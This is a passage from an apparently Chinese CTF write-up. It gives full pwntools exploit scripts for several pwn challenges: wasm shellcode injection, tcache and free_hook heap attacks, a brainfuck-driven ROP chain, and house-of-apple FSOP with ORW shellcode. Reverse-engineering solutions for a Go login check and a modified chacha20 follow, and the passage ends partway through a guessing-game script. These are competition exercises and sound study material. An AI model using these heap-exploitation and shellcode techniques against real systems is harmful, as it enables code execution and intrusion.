for line in lines:
    if '//' not in line:
        code += line + '\\n'

os.remove("exp.wat")

with open('exp.wat', 'w') as f:
    f.write(code)
os.system('wat2wasm --enable-all --no-check exp.wat')

with open("exp.wasm", "rb") as f:
    wasm_data = f.read()
    wasm_data = wasm_data.replace(b'\\xfc\\x0c\\x00\\x00', b'\\xfc\\x0c\\x01\\x01')

with open("exp.wasm", "wb") as f:
    f.write(wasm_data)

生成 shellcode

from pwn import *
context.arch = "amd64"

shellcode = '''
push r8
pop rsi
xor rax, rax
xor rdi, rdi
xor rdx, rdx
inc rdx
shl rdx, 16
syscall
nop
'''

jmp_asm = asm('jmp $+0x2a')

asm_code = ""
asm_list = shellcode.splitlines()
for i in range(len(asm_list)):

    this_asm = asm(asm_list[i])
    new_code = asm_code + this_asm
    if len(new_code) > 6 or i == len(asm_list) - 1:
        asm_code = asm_code.ljust(6, '\\x90') + jmp_asm
        print(hex(u64(asm_code)))
        log.hexdump(asm_code)
        asm_code = this_asm
    else:
        asm_code = new_code

二次读入发送 shellcode

from pwn import *
context.arch = "amd64"
context.log_level = "debug"

sh = remote('172.52.31.225', 6666)
sh.sendlineafter("please input your wasm code length:", str(len(wasm_data)))
sh.sendafter("please input your wasm code:", wasm_data)

sleep(5)
sh.sendline('\\x90' * 0x100 + asm(shellcraft.sh()))
sh.interactive()

webheap

from pwn import *
from ctypes import *

# sh = process('./webheap')
sh = remote('172.52.31.32', 9999)
context.log_level = "debug"

class WebHeap(Structure):
    _fields_ = (
        ('choice', c_uint64), ('index', c_uint64), ('size', c_uint64), ('data', c_char_p), ('unknown', c_uint64))

    def __str__(self):
        return '(%d, %d, %d)' % (self.choice, self.index, self.size)

def LoadProtocolLibrary():
    global ProtocolLibrary
    global GetSerializedHeapMenu
    global SerializePolyhedron
    global DeserializePolyhedron
    ProtocolLibrary = cdll.LoadLibrary('./webHeap.so')

    SerializePolyhedron = ProtocolLibrary.SerializePolyhedron
    SerializePolyhedron.argtypes = (c_uint64, c_uint64, c_uint64, c_char_p, c_uint64, c_void_p, c_size_t)
    SerializePolyhedron.restype = c_ssize_t

    DeserializePolyhedron = ProtocolLibrary.DeserializePolyhedron
    DeserializePolyhedron.argtypes = (POINTER(WebHeap), c_void_p, c_size_t)
    DeserializePolyhedron.restype = c_ssize_t

def create(choice, index, size, data):
    LoadProtocolLibrary()
    payload_buffer = create_string_buffer(1024)
    count = SerializePolyhedron(choice, index, size, data, 0, payload_buffer, len(payload_buffer))
    assert count >= 0
    return payload_buffer[0:count]

def sendPacket(data):
    sh.sendlineafter("Packet length: ", str(len(data)))
    sh.sendafter("Content:", data)

def add(idx, size):
    sendPacket(create(0, idx, size, ""))

def show(idx):
    sendPacket(create(1, idx, 0, ""))

def delete(idx):
    sendPacket(create(2, idx, 0, ""))

def edit(idx, content):
    sendPacket(create(3, idx, 0, content))

add(0, 0x418)
add(1, 0x68)
add(2, 0x68)
delete(0)
show(0)
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x3ebca0
log.success("libc_base:\\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
delete(2)
delete(1)
edit(1, p64(free_hook_addr))
add(3, 0x68)
add(4, 0x68)
edit(3, '/bin/sh\\x00')
edit(4, p64(system_addr))
delete(3)
# gdb.attach(sh)
# sendPacket('\\xb9\\x05\\x01\\x00\\x81\\x88\\x00\\xbd\\x00\\x00')

sh.interactive()

webheap_revenge

from pwn import *
from ctypes import *

sh = process('./webheap_revenge')
#sh = remote('172.52.31.189', 9999)
context.log_level = "debug"

class WebHeap(Structure):
    _fields_ = (
    ('choice', c_uint64), ('index', c_uint64), ('size', c_uint64), ('data', c_char_p), ('unknown', c_uint64))

    def __str__(self):
        return '(%d, %d, %d)' % (self.choice, self.index, self.size)

def LoadProtocolLibrary():
    global ProtocolLibrary
    global GetSerializedHeapMenu
    global SerializePolyhedron
    global DeserializePolyhedron
    ProtocolLibrary = cdll.LoadLibrary('./webHeap.so')

    SerializePolyhedron = ProtocolLibrary.SerializePolyhedron
    SerializePolyhedron.argtypes = (c_uint64, c_uint64, c_uint64, c_char_p, c_uint64, c_void_p, c_size_t)
    SerializePolyhedron.restype = c_ssize_t

    DeserializePolyhedron = ProtocolLibrary.DeserializePolyhedron
    DeserializePolyhedron.argtypes = (POINTER(WebHeap), c_void_p, c_size_t)
    DeserializePolyhedron.restype = c_ssize_t

def create(choice, index, size, data):
    LoadProtocolLibrary()
    payload_buffer = create_string_buffer(1024)
    count = SerializePolyhedron(choice, index, size, data, 0, payload_buffer, len(payload_buffer))
    assert count >= 0
    return payload_buffer[0:count]

def sendPacket(data):
    sh.sendlineafter("Packet length: ", str(len(data)))
    sh.sendafter("Content:", data)

def add(idx, size):
    sendPacket(create(0, idx, size, ""))

def show(idx):
    sendPacket(create(1, idx, 0, ""))

def delete(idx):
    sendPacket(create(2, idx, 0, ""))

def edit(idx, content):
    sendPacket(create(3, idx, 0, content))

add(0, 0x418)
add(1, 0x68)
add(2, 0x68)
add(3, 0x68)
delete(0)
add(0, 0x418)
show(0)
libc_base = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00')) - 0x3ebca0
log.success("libc_base:\\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f550
edit(1, 'a' * 0x68 + p64(0xe1))
delete(2)
add(4, 0xd8)
delete(1)
delete(3)
edit(4, 'a' * 0x70 + p64(free_hook_addr))
add(5, 0x68)
add(6, 0x68)
edit(5, '/bin/sh\\x00')
edit(6, p64(system_addr))
delete(5)

#gdb.attach(sh)

sh.interactive()

bfbf

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'

binary = 'pwn2'
elf = ELF('pwn2')
libc = ELF("./libc.so.6")
context.binary = binary
if(len(sys.argv) == 3):
    p = remote(sys.argv[1],sys.argv[2])
else:
    p = process(binary)
l64 = lambda      :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda      :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
payload = ">"*0x238
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "." + '>'
payload += "<"*6
payload += ","
payload += (">" + ",")*(0x17+0x10)
# p.recv()
p.send(payload)
libc_base = l64() - 243 - libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
free_hook_zero = free_hook & 0xfffffffffffff000
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92
pop_rax = libc_base + 0x0000000000036174
pop_rsp = 0x000000000002f70a + libc_base
syscall = 0x00000000000630a9 + libc_base
pop_rcx = 0x000000000010257e + libc_base
add_rax = 0x00000000000cfaf0 + libc_base
rop = p64(pop_rdi) + p64(free_hook_zero) + p64(libc_base + libc.sym["gets"])
rop += p64(pop_rsp) + p64(free_hook_zero)
sleep(0.01)
p.send(rop)
sleep(0.01)
sc = shellcraft.cat("flag")
# sc = shellcraft.mmap(0x100000,0x1000,0x7,0x11,0x3,0)
# sc += shellcraft.write(1,0x100000,0x20)
# sc = shellcraft.open("./",0x10000)
# sc += shellcraft.getdents("rax",free_hook_zero+0x200,0x300)
# sc += shellcraft.write(1,free_hook_zero+0x200,0x300)
orw = p64(pop_rdi) + p64(free_hook_zero)
orw += p64(pop_rsi) + p64(0x1000)
orw += p64(pop_rdx) + p64(0x7)
orw += p64(pop_rax) + p64(9)
orw += p64(add_rax)
orw += p64(syscall)
orw += p64(free_hook_zero+0x58)
orw += asm(sc)
# attach(p)
# orw = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(free_hook_zero)
# orw += p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall)
p.sendline(orw)
p.interactive()

store

UAF，largebinattack劫持stderr→_chain伪造io_file造house of apple，栈迁移执行shellcode，远程flag名未知因此getedents来找flag,flag为f1ag708edc8a0c4fecdb57d1文件，orw读flag

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'

binary = 'store'
elf = ELF('store')
libc = ELF("./libc-2.31.so")
# context.binary = binary
if(len(sys.argv) == 3):
    p = remote(sys.argv[1],sys.argv[2])
else:
    p = process(binary)
l64 = lambda      :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
l32 = lambda      :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
rl  = lambda      : p.recv()
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
def cmd(idx):
    sla("choice:",str(idx))
def add(size,payload,payload2):
    cmd(1)
    sla("Size:",str(size))
    sa("Content:",payload)
    sa("Remark:",payload2)
def free(idx):
    cmd(2)
    sla("Index:",str(idx))
def show(idx):
    cmd(4)
    sla("Index:",str(idx))
def edit(idx,payload,payload2 = "bbbb"):
    cmd(3)
    sla("Index:",str(idx))
    sa("Content:",payload)
    sa("Remark",payload2)
def malloc(size):
    cmd(1)
    sla("Size:",str(size))
add(0x410,"aaa","bbbb")
add(0x420,"aaa","bbbb")
free(1)
show(1)
libc_base = l64() - 96 - libc.sym["__malloc_hook"] - 0x10
lg("libc_base",libc_base)
malloc(0x500)
free(0)
edit(1,"a"*0x18,"a"*0x18)
show(1)
ru("a"*0x18)
heap_addr = u64(p.recv(6).ljust(8,'\\x00'))
lg("heap_addr",heap_addr) 
heap_base = heap_addr - 0xad0
stderr_chain = libc_base + libc.sym["_IO_2_1_stderr_"] + 104
io_file_jumps = libc_base + libc.sym["_IO_file_jumps"]
gadgets = 0x0000000000157d8a + libc_base
leaver = 0x000000000005aa48 + libc_base
pop_rsp = 0x0000000000032b5a + libc_base
pop4_r = 0x0000000000026b6b + libc_base
pop_rdi = 0x0000000000026b72 + libc_base
pop_rsi = 0x0000000000027529 + libc_base
pop_rdx = 0x000000000011c371 + libc_base
pop_rax = libc_base + 0x000000000004a550
syscall = 0x0000000000066229 + libc_base
free_hook = libc_base + libc.sym["__free_hook"]
free_hook1 = free_hook & 0xfffffffffffff000
#  mov rbp, qword ptr [rdi + 0x48];
#  mov rax, qword ptr [rbp + 0x18]; 
#  lea r13, [rbp + 0x10]; 
#  mov dword ptr [rbp + 0x10], 0; 
#  mov rdi, r13; 
#  call qword ptr [rax + 0x28];
edit(1,p64(0)*3  + p64(stderr_chain-0x20))
malloc(0x500)
payload = flat({
    0x18:1,
    0x10:0,
    0xb0:1,
    0x20:2,
    0x90:heap_base+0x6c0,
    0x88:heap_base+0x6c0,
    0xc8:io_file_jumps+0x48
}, filler = b'\\x00',arch='amd64')
payload2 = flat({
    0:0,
    0x18:0,
    0x20:0x100,
    0x28:gadgets,
    0x30:0x100,
    0x38:heap_addr,

},filler = '\\x00',arch='amd64')
edit(0,payload,payload2)
payload = flat({
    0:0,
    0x10:0x1234,#rdi
    0x18:gadgets,#rax
    0x28:0x2222,
    0x38:heap_base+0xf10,

},filler = '\\x00',arch='amd64')
payload2 = flat({
    0x8:pop4_r,
    0x10:heap_base+0xf50,
    0x18:heap_base+0xf10,
    0x10:0x3456,
    0x28:leaver,
    0x30:pop_rdi,
    0x38:0,
    0x40:pop_rsi,
    0x48:free_hook1,
    0x50:pop_rdx,
    0x58:0x1000,
    0x60:0,
    0x68:pop_rax,
    0x70:0,
    0x78:syscall,
    0x80:pop_rdi,
    0x88:free_hook1,
    0x90:pop_rsi,
    0x98:0x1000,
    0xa0:pop_rdx,
    0xa8:0x7,
    0xb0:0x7,
    0xb8:pop_rax,
    0xc0:10,
    0xc8:syscall,
    0xd0:pop_rsp,
    0xd8:free_hook1+0x200,

},filler = '\\x00',arch='amd64')
edit(1,payload,payload2)
sc = shellcraft.mmap(0x40404040,0x7e,7,34,0,0)
sc = asm(sc)
sc += asm(shellcraft.amd64.read(0,0x40404040,0x40),arch = 'amd64')

# sc += asm(shellcraft.open(0x40404040,0x10000))
# sc += asm(shellcraft.getdents("eax",0x40404040+0x100,0x200))
# sc1 = shellcraft.amd64.write(1,0x40404040+0x100,0x200)

sc += asm(shellcraft.open(0x40404040,0))
sc1 = shellcraft.amd64.read("rax","rsp",0x100)
sc1 += shellcraft.amd64.write(1,"rsp",0x100)
sc = (sc) + asm(sc1,arch = 'amd64')
cmd(5)
sleep(0.1)
p.send(sc.ljust(0x200,'\\x90') + p64(free_hook1) + "flag\\x00\\x00\\x00\\x00")
sleep(0.1)
# attach(p)
p.sendline("f1ag708edc8a0c4fecdb57d1\\x00\\x00")
# p.sendline("./\\x00\\x00\\x00")
# attach(p)
p.interactive()
# f1ag708edc8a0c4fecdb57d1

only

UAF,double free劫持tcache头部(1/16)，错位申请到stdout(1/16)，泄露libc，打free_hook栈迁移orw出flag,1/256

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
context.log_level = 'debug'
def cmd(idx):
    sla(">>",str(idx))
def add(size,payload):
    cmd(1)
    sla("Size:",str(size))
    sa("Content:",payload)
def free():
    cmd(2)
def add2():
    cmd(0)
def exp():
    add(0xe0,"aaa\\n")
    free()
    add2()
    free()
    add(0xe0,p16(0xa010)+'\\n')
    add(0xe0,"aaa\\n")
    payload = "\\x00"*0x18 + p16(0) + p16(0x20)
    payload = payload.ljust(0x4e,'\\x00')
    payload += p16(0x20)
    add(0xe0,payload + '\\n')
    free()
    add(0x80,p16(0)*2 + '\\n')
    add(0x48,p16(0x96a0) + '\\n')
    add(0x30,p64(0xfbad1800) + p64(0)*3 + p8(0x8) + '\\n')
    libc_base = l64() - libc.sym["_IO_2_1_stdin_"]
    lg("libc_base",libc_base)
    free_hook = libc_base + libc.sym["__free_hook"]
    free_hook1 = free_hook & 0xfffffffffffff000
    gadgets = 0x0000000000157d8a + libc_base
    # mov rbp, qword ptr [rdi + 0x48];
    # mov rax, qword ptr [rbp + 0x18];
    # lea r13, [rbp + 0x10]; 
    # mov dword ptr [rbp + 0x10], 0; 
    # mov rdi, r13; 
    # call qword ptr [rax + 0x28]; 

    pop_rdi = libc_base + 0x0000000000026b72
    pop_rsi = libc_base + 0x0000000000027529
    pop_rdx = libc_base + 0x000000000011c371
    pop_rax = libc_base + 0x000000000004a550
    pop_rsp = libc_base + 0x0000000000032b5a
    pop4r = 0x00000000000913ae + libc_base
    leaver = 0x000000000005aa48 + libc_base
    syscall = 0x0000000000066229 + libc_base

    add(0x28,p64(free_hook)*2 + '\\n')
    payload = flat({
        0:gadgets,
        0x8:pop4r,
        0x18:free_hook,
        0x28:leaver,
        0x30:pop_rsi,
        0x38:free_hook1,
        0x40:pop_rdi,
        0x48:free_hook,
        0x50:pop_rdi,
        0x58:0,
        0x60:pop_rdx,
        0x68:0x1000,
        0x70:0,
        0x78:pop_rax,
        0x80:0,
        0x88:syscall,
        0x90:pop_rsp,
        0x98:free_hook1,
        0xa0:syscall,
    },filler = '\\x00')
    add(0xe0,payload+'\\n')
    free()
    sleep(0.01)
    payload = flat([
        pop_rdi,free_hook1,pop_rsi,0x1000,pop_rdx,0x7,0x7,pop_rax,10,
        syscall,free_hook1+0x58
    ])
    sc = shellcraft.cat("flag")
    p.send(payload + asm(sc))
    # add(0xd0,p64(0)+p16(0x1234) +'\\n')
    # free()
    p.interactive()
if __name__ == "__main__":
    binary = './only'
    elf = ELF('./only')
    libc = ELF("./libc.so.6")
    context.binary = binary
    # if(len(sys.argv) == 3):
    #     p = remote(sys.argv[1],sys.argv[2])
    # else:
    #     p = process(binary)
    p = remote
    l64 = lambda      :u64(p.recvuntil("\\x7f")[-6:].ljust(8,"\\x00"))
    l32 = lambda      :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    rl  = lambda      : p.recv()
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    while(1):
        try:
            p = remote(sys.argv[1],sys.argv[2])
            exp()
        except Exception as e:
            p.close()
            print(e)

REVERSE

comeongo

根据字符串you get it , flag may be flag{username+password}定位主函数

image-20221106182420946

check函数进去分析一下

image-20221106182429286

动调得知v5和v11分别是username和password的长度，都是16，然后会有两个check

image-20221106182438134

rax是username，rcx是password，rbx和rdi都是长度

image-20221106182447376

image-20221106182456042

Encoding找到了base58的表，参数是username的前8位+password的前八位

image-20221106182505482

memequal的参数是9pd5duAv9fueatCwqEwuy7，我们解一下GoM0bi13G3tItEzF

拆分一下得到

username:GoM0bi13
password:G3tItEzF

只有check1过了才能进入check2，我们重新构造flag

image-20221106182514245

check2这里会对username的后八位和password的后八位进行操作，通过main_io_read加密，经过多次调试，发生是逐字节加密的，而且对数字不会有操作，对字母表作了一个加密的映射：abcd是mnop，ijkl对应uvwx，这样就可以调出密文所对应的明文

把username[8-11]和passsword[8-11]进行一个merge，然后base64加密然后与X051YmNmRnE=比较，解密一下X051YmNmRnE=

_NubcfFq

username:GoM0bi13_Bin
password:G3tItEzForRe

这个根据前面跳出来的字母表然后替换后

现在缺最后四位，直接下软件断点下看汇编就行了,类似解方程

image-20221106182526767

a=[0X76,0X47]
b=[ 0xDD, 0x8F, 0xA1, 0x64]
for i in range(len(a)):
    print(chr(b[i]-a[i]-i))
print(chr(0x6f))
print(chr(33))
print(chr(0x61-ord('!')))
username:GoM0bi13_BingGo@
password:G3tItEzForRe__0!

少了两位，下断点没停下来，题目有问题，后面更新附件了，不过我直接猜了一下密钥vG，结果对了

username:GoM0bi13_BingGo@
password:G3tItEzForRevG0!

mcmc

这个有ollvm，但是有明显的chacha20特征，直接解没解出来，怀疑有其他操作，对flag进行访问断点

image-20221106182607720

最后的结果比对

unsigned char ida_chars[] =
{
  0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10, 
  0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B, 
  0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D, 
  0xBF, 0x32
};

image-20221106182618398

这里前面sub_405480是把flag的每四个为一组，16个，也就是4组进行一次加密

sub_4011A0就是chacha20了,chacha20的xor部分是被魔改过的

但是下断点调试，再这些之前还有个循环是对8、16、24、32位进行xor，xor的值是[68,35,91,90],是固定的

github找到chacha20的源码对着看https://github.com/Ginurx/chacha20-c

#pragma once

#pragma once
#include <assert.h>
#include <stddef.h>
#include <stdint.h>
#include <string.h>

#ifdef __cplusplus 
extern "C" {
#endif

    struct chacha20_context
    {
        uint32_t keystream32[16];
        size_t position;

        uint8_t key[32];
        uint8_t nonce[12];
        uint64_t counter;

        uint32_t state[16];
    };

    void chacha20_init_context(struct chacha20_context* ctx, uint8_t key[], uint8_t nounc[], uint64_t counter);

    void chacha20_xor(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes);

#ifdef __cplusplus 
}
#endif
#include "chacha20.h"
#include<stdio.h>

static uint32_t rotl32(uint32_t x, int n)
{
    return (x << n) | (x >> (32 - n));
}

static uint32_t pack4(const uint8_t* a)
{
    uint32_t res = 0;
    res |= (uint32_t)a[0] << 0 * 8;
    res |= (uint32_t)a[1] << 1 * 8;
    res |= (uint32_t)a[2] << 2 * 8;
    res |= (uint32_t)a[3] << 3 * 8;
    return res;
}

static void unpack4(uint32_t src, uint8_t* dst) {
    dst[0] = (src >> 0 * 8) & 0xff;
    dst[1] = (src >> 1 * 8) & 0xff;
    dst[2] = (src >> 2 * 8) & 0xff;
    dst[3] = (src >> 3 * 8) & 0xff;
}

static void chacha20_init_block(struct chacha20_context* ctx, uint8_t key[], uint8_t nonce[])
{
    memcpy(ctx->key, key, sizeof(ctx->key));
    memcpy(ctx->nonce, nonce, sizeof(ctx->nonce));

    const uint8_t* magic_constant = (uint8_t*)"expand 32-byte k";
    ctx->state[0] = pack4(magic_constant + 0 * 4);
    ctx->state[1] = pack4(magic_constant + 1 * 4);
    ctx->state[2] = pack4(magic_constant + 2 * 4);
    ctx->state[3] = pack4(magic_constant + 3 * 4);
    ctx->state[4] = pack4(key + 0 * 4);
    ctx->state[5] = pack4(key + 1 * 4);
    ctx->state[6] = pack4(key + 2 * 4);
    ctx->state[7] = pack4(key + 3 * 4);
    ctx->state[8] = pack4(key + 4 * 4);
    ctx->state[9] = pack4(key + 5 * 4);
    ctx->state[10] = pack4(key + 6 * 4);
    ctx->state[11] = pack4(key + 7 * 4);
    // 64 bit counter initialized to zero by default.
    ctx->state[12] = 0;
    ctx->state[13] = pack4(nonce + 0 * 4);
    ctx->state[14] = pack4(nonce + 1 * 4);
    ctx->state[15] = pack4(nonce + 2 * 4);

    memcpy(ctx->nonce, nonce, sizeof(ctx->nonce));
}

static void chacha20_block_set_counter(struct chacha20_context* ctx, uint64_t counter)
{
    ctx->state[12] = (uint32_t)counter;
    ctx->state[13] = pack4(ctx->nonce + 0 * 4) + (uint32_t)(counter >> 32);
}

static void chacha20_block_next(struct chacha20_context* ctx) {
    // This is where the crazy voodoo magic happens.
    // Mix the bytes a lot and hope that nobody finds out how to undo it.
    for (int i = 0; i < 16; i++) ctx->keystream32[i] = ctx->state[i];

#define CHACHA20_QUARTERROUND(x, a, b, c, d) \\
    x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 16); \\
    x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 12); \\
    x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 8); \\
    x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 7);

    for (int i = 0; i < 10; i++)
    {
        CHACHA20_QUARTERROUND(ctx->keystream32, 0, 4, 8, 12)
            CHACHA20_QUARTERROUND(ctx->keystream32, 1, 5, 9, 13)
            CHACHA20_QUARTERROUND(ctx->keystream32, 2, 6, 10, 14)
            CHACHA20_QUARTERROUND(ctx->keystream32, 3, 7, 11, 15)
            CHACHA20_QUARTERROUND(ctx->keystream32, 0, 5, 10, 15)
            CHACHA20_QUARTERROUND(ctx->keystream32, 1, 6, 11, 12)
            CHACHA20_QUARTERROUND(ctx->keystream32, 2, 7, 8, 13)
            CHACHA20_QUARTERROUND(ctx->keystream32, 3, 4, 9, 14)
    }

    for (int i = 0; i < 16; i++) ctx->keystream32[i] += ctx->state[i];

    uint32_t* counter = ctx->state + 12;
    // increment counter
    counter[0]++;
    if (0 == counter[0])
    {
        // wrap around occured, increment higher 32 bits of counter
        counter[1]++;
        // Limited to 2^64 blocks of 64 bytes each.
        // If you want to process more than 1180591620717411303424 bytes
        // you have other problems.
        // We could keep counting with counter[2] and counter[3] (nonce),
        // but then we risk reusing the nonce which is very bad.
        assert(0 != counter[1]);
    }
}

void chacha20_init_context(struct chacha20_context* ctx, uint8_t key[], uint8_t nonce[], uint64_t counter)
{
    memset(ctx, 0, sizeof(struct chacha20_context));

    chacha20_init_block(ctx, key, nonce);
    chacha20_block_set_counter(ctx, counter);

    ctx->counter = counter;
    ctx->position = 64;
}

void chacha20_xor(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes)
{
    uint8_t* keystream8 = (uint8_t*)ctx->keystream32;
    for (size_t i = 0; i < 32; i++)
    {
        if (ctx->position >= 64)
        {
            chacha20_block_next(ctx);
            ctx->position = 0;
        }
        //奇数
        if (i % 2 == 0)
        {
            bytes[i] = (((bytes[(i + 1)] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i + 1] + keystream8[ctx->position]) % 256) & 0xF5) ^ (bytes[i] & 0xA | ~bytes[i] & 0xF5);
        }
        else
        {
            bytes[i] = (((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xF5) ^ (bytes[i] & 0xA | ~bytes[i] & 0xF5);

        }




        ctx->position++;
    }
}
void chacha20_xordecode(struct chacha20_context* ctx, uint8_t* bytes, size_t n_bytes)
{
    uint8_t* keystream8 = (uint8_t*)ctx->keystream32;
    for (size_t i = 31; i >= 0; i--)
    {
        if (ctx->position >= 64)
        {
            chacha20_block_next(ctx);
            ctx->position = 31;
        }
        //奇数
        if (i % 2 == 0)
        {

            for (size_t t = 0; t < 0xff; t++)
            {
                int a1 = bytes[i] ^ (((bytes[(i + 1)] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i + 1] + keystream8[ctx->position]) % 256) & 0xF5);
                if (((t & 0xA )| (~t & 0xF5)) ==a1 ) {
                    printf("%d:0x%x \\n",i, t);
                    bytes[i] = t;
                    break;
                }
            }
        }
        else
        {

            for (size_t t = 0; t < 0xff; t++)
            {
                int a = bytes[i] ^ (((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xA | ~((bytes[i - 1] + keystream8[ctx->position]) % 256) & 0xF5);
                if ((t & 0xA | ~t & 0xF5) ==a ) {
                    printf("%d:0x%x \\n",i, t);
                    bytes[i] = t;
                    break;
                }
            }
        }

        ctx->position--;
    }
}
int main() {
    uint8_t key[] = { 0x0A, 0xEB, 0x19, 0x25, 0x2E, 0xE8, 0x9C, 0x90, 0xEC, 0x85,
  0xC0, 0xD6, 0x07, 0xCF, 0x5A, 0x54, 0x49, 0x40, 0x12, 0x24,
  0xE7, 0x53, 0x13, 0x1E, 0x2F, 0x4F, 0xAD, 0x14, 0xDE, 0xF6,
  0x8F, 0xE9 };
    uint8_t nonce[] = { 0x67, 0xC6, 0x69, 0x73, 0x51, 0xFF, 0x4A, 0xEC, 0x29, 0xCD,
  0xBA, 0xAB };
    uint64_t counter = 1;
    uint8_t buffer[] = { 0x06, 0x08, 0x65, 0x04, 0x60, 0x03, 0x08, 0x01, 0x4A, 0x10,
  0x32, 0x58, 0xEE, 0x97, 0x65, 0x84, 0x44, 0xF2, 0x10, 0x6B,
  0xE8, 0x50, 0x24, 0x99, 0xF6, 0xE3, 0x21, 0x51, 0xC2, 0x5D,
  0xBF, 0x32 };
    uint8_t buffer1[] = { 0xfa,0x29,0xd7,0xe6,0x69,0x1a,0xd4,0xcf,0x9f,0x35,0x71,0x61,0x8b,0x6a,0xcb,0xf7,0x54,0x45,0x3b,0xf1,0xc3,0x66,0xe3,0x89,0xe7,0x5,0xfb,0x38,0xc1,0x6f,0xb0,0xe8 };
    struct chacha20_context ctx;
    chacha20_init_context(&ctx, key, nonce, counter);
    //chacha20_xorde(&ctx, buffer, sizeof(buffer));
    for (size_t i = 0; i < 32; i+=4)
    {
        printf("0x%x%x%x%x\\n", buffer1[i+3],buffer1[i+2], buffer1[i + 1],buffer1[i + 0]);
    }
    return 0;
}

这里我们只是得到没被chacha20加密过的数据

from z3 import *
flag = [BitVec('flag[%d]' % i, 32) for i in range(8)]
s = Solver()
s.add(((flag[0]<<1)-((-flag[1])&0xffffffff)-flag[2]+flag[3])&0xffffffff==0xe6d729fa)
s.add((~(~(flag[0]+flag[1]) + (-flag[2])&0xffffffff)-flag[3])&0xffffffff==0xcfd41a69)
s.add((flag[0]-flag[1]+flag[2]+((-flag[3])&0xffffffff))&0xffffffff==0x6171359f)
s.add((~(~(flag[0]+(flag[1]<<1) - flag[2])+(-(flag[3]<<1))&0xffffffff))&0xffffffff==0xf7cb6a8b)
s.add(((flag[4]<<1)-((-flag[5])&0xffffffff)-flag[6]+flag[7])&0xffffffff==0xf13b4554)
s.add((~(~(flag[4]+flag[5]) + (-flag[6])&0xffffffff)-flag[7])&0xffffffff==0x89e366c3)
s.add((flag[4]-flag[5]+flag[6]+((-flag[7])&0xffffffff))&0xffffffff==0x38fb05e7)
s.add((~(~(flag[4]+(flag[5]<<1) - flag[6])+(-(flag[7]<<1))&0xffffffff))&0xffffffff==0xe8b06fc1)
if s.check() == sat:
   print(s.model())
pq=[1835889971,925987429,1919252016, 1194345311,1667722857,678703214,812658772, 845703272]
for i in range(len(pq)):
  print(hex(pq[i]))

ppq=[0x33,0x75,0x6d,0x6d,0x65,0x72,0x31,0x37
    ,0x30,0x76,0x65,0x72,0x5f,0x43,0x30,0x47
    ,0x69,0x6e,0x67,0x63,0x6e,0x30,0x74,0x28
    ,0x54,0x30,0x70,0x30,0x68,0x68,0x68,0x32]
for i in range(len(ppq)):
  print(chr(ppq[i]^firstxor[i]),end="")

这里把8、16、24、32的xor也计算进去了

3ummer1s0ver_C0dingcn0tsT0p0hhhh

MISC

Welcome

签到题。下载附件zip打开里面的txt是flag

babymisc

猜数字，只能猜15次，二分法都不够用，只能爆破了

from pwn import *

#context.log_level = 'debug'

def run():
    io = remote("172.52.31.165",9999)
    try:
        print("start")

        io.sendline(b"Y")
        io.recvuntil(b"Please enter a number:")

        #target > mid 等价于 guess(mid)返回1
        #target < mid 等价于 guess(mid)返回-1
        #target = mid 等价于 guess(mid)返回0
        def guess(num):
            io.sendline(str(int(num)))
            '''
            [DEBUG] Sent 0x7 bytes:
            b'907273\n'
            [DEBUG] Received 0x5 bytes:
            b'Bingo'
            [DEBUG] Received 0x62 bytes:
            b'\n'
            b'Time use:0.44second\n'
            b"To thank you, I'll give you the flag\n"
